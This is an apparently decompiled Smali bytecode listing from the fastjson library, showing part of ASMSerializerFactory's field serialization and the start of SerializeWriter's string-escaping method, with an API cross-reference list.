                                                132new-instance v10, Lcom/alibaba/fastjson/asm/Label;
                                                134invoke-direct {v10}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                136invoke-virtual {v3, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                137move-result v14
                                                138const/16 v12, 0x19
                                                140invoke-interface {v1, v12, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                141const/16 v12, 0xc1
                                                143sget-object v14, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                145invoke-interface {v1, v12, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                146const/16 v12, 0x99
                                                148invoke-interface {v1, v12, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                149iget v12, v2, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                151sget-object v14, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BeanToArray:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                152iget v14, v14, Lcom/alibaba/fastjson/serializer/SerializerFeature;->mask:I
                                                153and-int/2addr v12, v14
                                                154if-eqz v12, :cond_e2
                                                155const/4 v12, 0x1
                                                156goto/16 :goto_e3
                                                157cond_e2: const/4 v12, 0x0
                                                158goto_e3:
                                                159invoke-static/range {p3 .. p3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                160move-result v14
                                                161if-eqz v14, :cond_f7
                                                163invoke-static/range {p3 .. p3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                164move-result v14
                                                165if-eqz v14, :cond_f7
                                                166if-eqz v12, :cond_f4
                                                168const-string v12, "writeAsArrayNonContext"
                                                169goto/16 :goto_fd
                                                170cond_f4:
                                                171const-string v12, "writeDirectNonContext"
                                                172goto/16 :goto_fd
                                                173cond_f7: if-eqz v12, :cond_fc
                                                175const-string v12, "writeAsArray"
                                                176goto/16 :goto_fd
                                                177cond_fc: move-object v12, v11
                                                178goto_fd:
                                                179invoke-virtual {v3, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                180move-result v14
                                                181const/16 v0, 0x19
                                                183invoke-interface {v1, v0, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                184const/16 v14, 0xc0
                                                185move-object/from16 v16, v4
                                                187sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                189invoke-interface {v1, v14, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                190const/4 v4, 0x1
                                                192invoke-interface {v1, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                194invoke-virtual {v3, v8}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                195move-result v4
                                                197invoke-interface {v1, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                198sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                200invoke-interface {v1, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                201const/4 v4, 0x0
                                                203invoke-interface {v1, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                205invoke-static/range {p3 .. p3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$300(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Ljava/lang/String;
                                                206move-result-object v0
                                                207new-instance v4, Ljava/lang/StringBuilder;
                                                209invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                211iget-object v14, v2, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                213invoke-virtual {v4, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                215invoke-virtual {v4, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                217invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                218move-result-object v4
                                                219const/16 v14, 0xb4
                                                221invoke-interface {v1, v14, v0, v4, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                222iget v0, v2, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                224invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                225move-result-object v0
                                                227invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                229sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                230new-instance v4, Ljava/lang/StringBuilder;
                                                232invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                234const-string v14, "(L"
                                                236invoke-virtual {v4, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                237move-object/from16 v17, v13
                                                239sget-object v13, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                241invoke-virtual {v4, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                243const-string v13, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                245invoke-virtual {v4, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                247invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                248move-result-object v4
                                                249move-object/from16 v18, v6
                                                250const/16 v6, 0xb6
                                                252invoke-interface {v1, v6, v0, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                253const/16 v0, 0xa7
                                                255invoke-interface {v1, v0, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                257invoke-interface {v1, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                259invoke-virtual {v3, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                260move-result v0
                                                261const/16 v4, 0x19
                                                263invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                264const/4 v0, 0x1
                                                266invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                268invoke-virtual {v3, v8}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                269move-result v0
                                                271invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                272sget v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                274invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                275const/4 v0, 0x0
                                                277invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                279invoke-static/range {p3 .. p3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$300(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Ljava/lang/String;
                                                280move-result-object v0
                                                281new-instance v4, Ljava/lang/StringBuilder;
                                                283invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                285iget-object v5, v2, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                287invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                289invoke-virtual {v4, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                291invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                292move-result-object v4
                                                293const/16 v5, 0xb4
                                                295invoke-interface {v1, v5, v0, v4, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                296iget v0, v2, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                298invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                299move-result-object v0
                                                301invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                302const/16 v0, 0xb9
                                                304sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->ObjectSerializer:Ljava/lang/String;
                                                305new-instance v5, Ljava/lang/StringBuilder;
                                                307invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                309invoke-virtual {v5, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                311sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                313invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                315invoke-virtual {v5, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                317invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                318move-result-object v5
                                                320invoke-interface {v1, v0, v4, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                322invoke-interface {v1, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                323move-object/from16 v0, v18
                                                324const/16 v4, 0xa7
                                                326invoke-interface {v1, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                327move-object/from16 v4, v17
                                                328goto/16 :goto_1dd
                                                329cond_1d9: move-object/from16 v16, v4
                                                330move-object v0, v6
                                                331move-object v4, v13
                                                332goto_1dd:
                                                333invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                334const/4 v4, 0x1
                                                335const/16 v5, 0x19
                                                337invoke-interface {v1, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                339invoke-static/range {p3 .. p3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                340move-result v4
                                                341if-eqz v4, :cond_1f4
                                                343invoke-virtual {v3, v8}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                344move-result v4
                                                346invoke-interface {v1, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                347goto/16 :goto_1f9
                                                348cond_1f4: sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->processValue:I
                                                350invoke-interface {v1, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                351goto_1f9: if-eqz v16, :cond_20c
                                                352move-object/from16 v4, v16
                                                354invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                356sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                358const-string v4, "writeWithFormat"
                                                360const-string v5, "(Ljava/lang/Object;Ljava/lang/String;)V"
                                                361const/16 v6, 0xb6
                                                363invoke-interface {v1, v6, v2, v4, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                364goto/16 :goto_273
                                                365cond_20c: sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                367invoke-interface {v1, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                369iget-object v4, v2, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                370instance-of v4, v4, Ljava/lang/Class;
                                                372const-string v5, "writeWithFieldName"
                                                373if-eqz v4, :cond_22d
                                                375iget-object v4, v2, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                376check-cast v4, Ljava/lang/Class;
                                                378invoke-virtual {v4}, Ljava/lang/Class;->isPrimitive()Z
                                                379move-result v4
                                                380if-eqz v4, :cond_22d
                                                382sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                384const-string v4, "(Ljava/lang/Object;Ljava/lang/Object;)V"
                                                385const/16 v6, 0xb6
                                                387invoke-interface {v1, v6, v2, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                388goto/16 :goto_273
                                                389cond_22d:
                                                390iget-object v4, v2, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                391const-class v6, Ljava/lang/String;
                                                392if-ne v4, v6, :cond_241
                                                393const-class v4, Ljava/lang/String;
                                                395invoke-static {v4}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                396move-result-object v4
                                                398invoke-static {v4}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                399move-result-object v4
                                                401invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                402goto/16 :goto_261
                                                403cond_241: const/4 v4, 0x0
                                                404const/16 v6, 0x19
                                                406invoke-interface {v1, v6, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                408invoke-static/range {p3 .. p3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$300(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Ljava/lang/String;
                                                409move-result-object v4
                                                410new-instance v6, Ljava/lang/StringBuilder;
                                                412invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                414iget-object v8, v2, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                416invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                418invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                420invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                421move-result-object v6
                                                422const/16 v7, 0xb4
                                                424invoke-interface {v1, v7, v4, v6, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                425goto_261: iget v2, v2, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                427invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                428move-result-object v2
                                                430invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                432sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                434const-string v4, "(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                435const/16 v6, 0xb6
                                                437invoke-interface {v1, v6, v2, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                438goto_273:
                                                439invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                440move-object/from16 v0, p0
                                                442invoke-direct {v0, v1, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_seperator(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                443return-void
                                                Cross References
                                                APIs
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeNull
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • java.lang.String.length
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writer:Ljava/io/Writer
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • java.lang.String.length
                                                • java.lang.String.charAt
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteSlashAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.expandCapacity
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.String.getChars
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.expandCapacity
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializerFeature.BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.expandCapacity
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isSpecial
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.expandCapacity
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.System.arraycopy
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • java.lang.String.length
                                                • java.lang.String.charAt
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteSlashAsSpecial:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                • com.alibaba.fastjson.serializer.SerializeWriter.buf:[C
                                                Position Instruction Meta Information
                                                0move-object/from16 v0, p0
                                                1move-object/from16 v1, p1
                                                2move/from16 v2, p2
                                                3if-nez v1, :cond_11
                                                5invoke-virtual/range {p0 .. p0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeNull()V
                                                6if-eqz v2, :cond_10
                                                8invoke-virtual {v0, v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                9cond_10: return-void
                                                10cond_11:
                                                11invoke-virtual/range {p1 .. p1}, Ljava/lang/String;->length()I
                                                12move-result v3
                                                13iget v4, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->count:I
                                                14add-int/2addr v4, v3
                                                15add-int/lit8 v4, v4, 0x2
                                                16if-eqz v2, :cond_1e
                                                17add-int/lit8 v4, v4, 0x1
                                                18cond_1e:
                                                19iget-object v5, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->buf:[C
                                                20array-length v5, v5
                                                21const/4 v6, 0x0
                                                22const/16 v7, 0x2f
                                                23const/16 v8, 0x30
                                                24const/16 v9, 0x75
                                                25const/16 v10, 0xc
                                                26const/16 v11, 0x8
                                                27const/16 v12, 0x22
                                                28const/16 v13, 0x5c
                                                29const/4 v14, 0x4
                                                30const/4 v15, 0x1
                                                31if-le v4, v5, :cond_18a
                                                33iget-object v5, v0, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writer:Ljava/io/Writer;
                                                34if-eqz v5, :cond_187
                                                36invoke-virtual {v0, v12}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                37goto_3b:
                                                38invoke-virtual/range {p1 .. p1}, Ljava/lang/String;->length()I
                                                39move-result v3
                                                40if-ge v6, v3, :cond_17e
                                                42invoke-virtual {v1, v6}, Ljava/lang/String;->charAt(I)C
                                                43move-result v3
                                                45sget-object v4, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserSecure:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                47invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                48move-result v4
                                                49if-eqz v4, :cond_a1
                                                50if-lt v3, v8, :cond_53
                                                51const/16 v4, 0x39
                                                52if-le v3, v4, :cond_177
                                                53cond_53: const/16 v4, 0x61
                                                54if-lt v3, v4, :cond_5b
                                                55const/16 v4, 0x7a
                                                56if-le v3, v4, :cond_177
                                                57cond_5b: const/16 v4, 0x41
                                                58if-lt v3, v4, :cond_63
                                                59const/16 v4, 0x5a
                                                60if-le v3, v4, :cond_177
                                                61cond_63: const/16 v4, 0x2c
                                                62if-eq v3, v4, :cond_177
                                                63const/16 v4, 0x2e
                                                64if-eq v3, v4, :cond_177
                                                65const/16 v4, 0x5f
                                                66if-eq v3, v4, :cond_177
                                                68invoke-virtual {v0, v13}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                70invoke-virtual {v0, v9}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                72sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                73ushr-int/lit8 v5, v3, 0xc
                                                74and-int/lit8 v5, v5, 0xf
                                                75aget-char v4, v4, v5
                                                77invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                79sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                80ushr-int/lit8 v5, v3, 0x8
                                                81and-int/lit8 v5, v5, 0xf
                                                82aget-char v4, v4, v5
                                                84invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                86sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                87ushr-int/lit8 v5, v3, 0x4
                                                88and-int/lit8 v5, v5, 0xf
                                                89aget-char v4, v4, v5
                                                91invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                93sget-object v4, Lcom/alibaba/fastjson/util/IOUtils;->DIGITS:[C
                                                94and-int/lit8 v3, v3, 0xf
                                                95aget-char v3, v4, v3
                                                97invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                98goto/16 :goto_17a
                                                99cond_a1:
                                                100sget-object v4, Lcom/alibaba/fastjson/serializer/SerializerFeature;->BrowserCompatible:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                102invoke-virtual {v0, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                103move-result v4
                                                104if-eqz v4, :cond_123
                                                105if-eq v3, v11, :cond_118
                                                106if-eq v3, v10, :cond_118
                                                107const/16 v4, 0xa
                                                108if-eq v3, v4, :cond_118
                                                109const/16 v4, 0xd
                                                110if-eq v3, v4, :cond_118
